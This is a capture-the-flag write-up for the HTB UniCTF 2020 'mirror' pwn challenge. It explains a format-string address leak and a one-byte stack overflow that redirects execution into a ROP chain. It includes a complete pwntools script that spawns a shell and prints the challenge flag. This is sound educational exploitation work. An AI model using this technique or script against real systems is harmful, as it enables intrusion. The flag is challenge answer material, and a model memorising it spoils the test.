You found an ol’ dirty mirror inside an abandoned house. This magic mirror reflects your most hidden desires! Use it to reveal the things you want the most in life! Don’t say too much though..
Category: Pwn
Solver: t0b1
Writeup
We start by using the checksec
tool, to check what security measures are enabled on the binary.
$ checksec mirror
[*] '/home/user/htb-unictf-2020/mirror/mirror'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We see that no canary is found, which means that we will most likely have to exploit a stack based buffer overflow to overwrite some values on the stack.
A first run of the program gives us the following output. Choosing “no” in the first question will exit the program.
$./mirror
✨ This old mirror seems to contain some hidden power..✨
There is a writing at the bottom of it..
"The mirror will reveal whatever you desire the most.. Just talk to it.."
Do you want to talk to the mirror? (y/n)
> y
Your answer was: y
"This is a gift from the craftsman.. [0x7fffc981ee10] [0x7f5114366c50]"
Now you can talk to the mirror.
> hello there
We immediatly see that we get two addresses. Also our answer to the first question is printed, which we might use to leak addresses from the stack.
Decompiling the program reveals the following simple main function.
undefined8 main(void) {
undefined8 local_28, local_20, local_18, local_10;
setup();
local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0;
puts(&DAT_00102068);
puts("\"The mirror will reveal whatever you desire the most.. Just talk to it..\"");
printf("Do you want to talk to the mirror? (y/n)\n> ");
read(0,&local_28,0x1f);
if (((char)local_28 != 'y') && ((char)local_28 != 'Y')) {
puts("You left the abandoned house safe!");
/* WARNING: Subroutine does not return */
exit(0x45);
}
printf("Your answer was: ");
printf((char *)&local_28);
reveal();
return 0;
}
We find four variables, each 8 byte long. The program reads 31 bytes as our answer and prints our answer if it started with y
or Y
. Our answer is printed using printf(answer)
. As printf expects the first parameter to be a format string, we can use this to print arbitrary values from the stack. By using gdb we can find out, that the input y%x|%x|%x|%x|%x|%x|%x|%x|%x|%lx
will print the address of __libc_csu_init
after the last |
. Using that we can calculate any address of functions like the main etc. in our binary using an offset.
However, we still haven’t found any buffer overflow vulnerability. At the end of the main function, the reveal
function is called. It looks like the following.
void reveal(void) {
undefined local_28 [32];
printf("\"This is a gift from the craftsman.. [%p] [%p]\"\n",local_28,printf);
printf("Now you can talk to the mirror.\n> ");
read(0,local_28,0x21);
return;
}
It has a 32 byte buffer on the stack, prints the address of that buffer and the address of printf
. Afterwards it reads 33 byte into that buffer, which is only 32 byte long. Using that, we can write one byte more than we should. The next thing on the stack after our buffer is the stack base pointer of the main function, whose last byte we can overwrite.
Let’s take a look at the last assembly instructions of the reveal and main function after reading our input in the reveal function.
leave
ret # return to main+199
mov eax,0x0
leave
ret
Now the leave
instruction does essentially the following.
mov %ebp, %esp
pop %ebp
It sets the stack pointer to the current base pointer. Then it takes the value on top of the stack and pops it into the ebp register.
That means, if we can modify the ebp value on the stack in the reveal
function, that modified ebp will be our stack pointer before we call the ret
instruction in our main function. As ret
will take the value on top of the stack, i.e. where the stack pointer points to, we can modify the return address!
We can only modify the last byte of the ebp on the stack, but that is enough in most cases. Assuming the last byte of the stored ebp is 0x00
we can store up to 0xff = 255
bytes whose addresses all differ only in the last byte.
As we get the address of our buffer we can set the last byte of the stored ebp to the last byte of our buffer and the new ebp will point to our buffer. We can be unlucky sometimes, when the last bytes of the stored ebp look similar to 0x0100
. As the main function also allocates some bytes, our buffer will start somewhere around 0x00xx
. In those cases setting the last byte of the stored ebp to the last bytes of our buffer won’t work.
However we saw above, that after the new stack pointer is set, a pop
instruction. Pointing the stack pointer directly on our buffer would thus pop the first address into the ebp
register. To avoid that, we will set the last byte of the ebp on the stack to the last byte of our buffer minus 8.
The ret
instruction of the main will then take the value on top of the stack and return to that. As we subtracted 8 from our buffer address above, it will take the first 8 byte of our buffer as the return address.
We now have full control over the content on the stack as well as the return instruction. Thus we can prepare a little rop chain. We set up the stack as follows:
address of pop rdi gadget
address of /bin/sh string
address of system
/bin/sh string
Returning to the pop rdi
gadget will pop the address of our /bin/sh
string into the rdi
register which serves as the first parameter. The gadget will then return to the system
function which will pop our shell.
This is 32 bytes in total, which matches perfectly with the buffer size we have available in the reveal
function. The 33rd byte will be the byte we overwrite.
We can find the address for our pop rdi
gadget using ROPgadget --binary mirror | grep "pop rdi"
. This yields 0x1393
, which is the offset in our binary. From Ghidra we also know, that the __libc_csu_init
is at offset 0x1330
. We can calculate the address of that gadget during runtime using __libc_csu_init + 0x63
.
As we place the /bin/sh
string on the stack in our buffer, we easily know its address, which is buf + 24
.
The address of the system
function is not directly known. We only know the address of the printf
function. However we can use online libc databases that will show us possible libc version that fit that position of printf in memory. I used this link to find out possible matches. As there are only four possible libraries that could fit, we can try each out and check if we get the shell. Turns out that the libc6_2.27-3ubuntu1.3_amd64
has the right offset to the system
function, which is printf - 0x15a20
.
We can now put that all together in a python script using the pwntools library.
#!/usr/bin/env python
from pwn import *
import re
context.update(arch='x86_64', os='linux')
local = True
proc = process('./mirror') if local else remote('docker.hackthebox.eu', 31073)
info(proc.recvuntil("> "))
leaker = "y%x|%x|%x|%x|%x|%x|%x|%x|%x|%lx"
print(len(leaker))
proc.send(leaker)
received = proc.recvuntil("> ").decode('utf-8')
info(received)
lib_csu_init = int(received.split('"')[0].split('|')[-1], 16)
reveal_buf_str, printf_str = re.match(".*\[(.*)\] \[(.*)\].*", received).groups()
reveal_buf = int(reveal_buf_str, 16)
printf = int(printf_str, 16)
system = printf - 0xdea0 if local else printf - 0x15a20
str_bin_sh = reveal_buf + 24
pop_rdi_gadget = lib_csu_init + 0x63
new_ebp_byte = (reveal_buf - 8) & 0xff
info('lib_csu_init 0x%x' % lib_csu_init)
info('reveal_buf 0x%x' % reveal_buf)
info('printf 0x%x' % printf)
info('new_ebp_byte 0x%x' % new_ebp_byte)
# 33 = 8 + 8 + 8 + 8 + 1
payload = p64(pop_rdi_gadget)
payload += p64(str_bin_sh)
payload += p64(system)
payload += b'/bin/sh\0'
payload += p8(new_ebp_byte)
print(len(payload))
proc.send(payload)
proc.interactive()
Running this script will get us a shell on the system most of the times. As discussed above, it might not always work, so we simple rerun the script if the exploit did not work directly.
Once we get a shell, we can run cat flag.txt
to get the flag HTB{0n3_byt3_cl0s3r_2_v1ct0ry}
.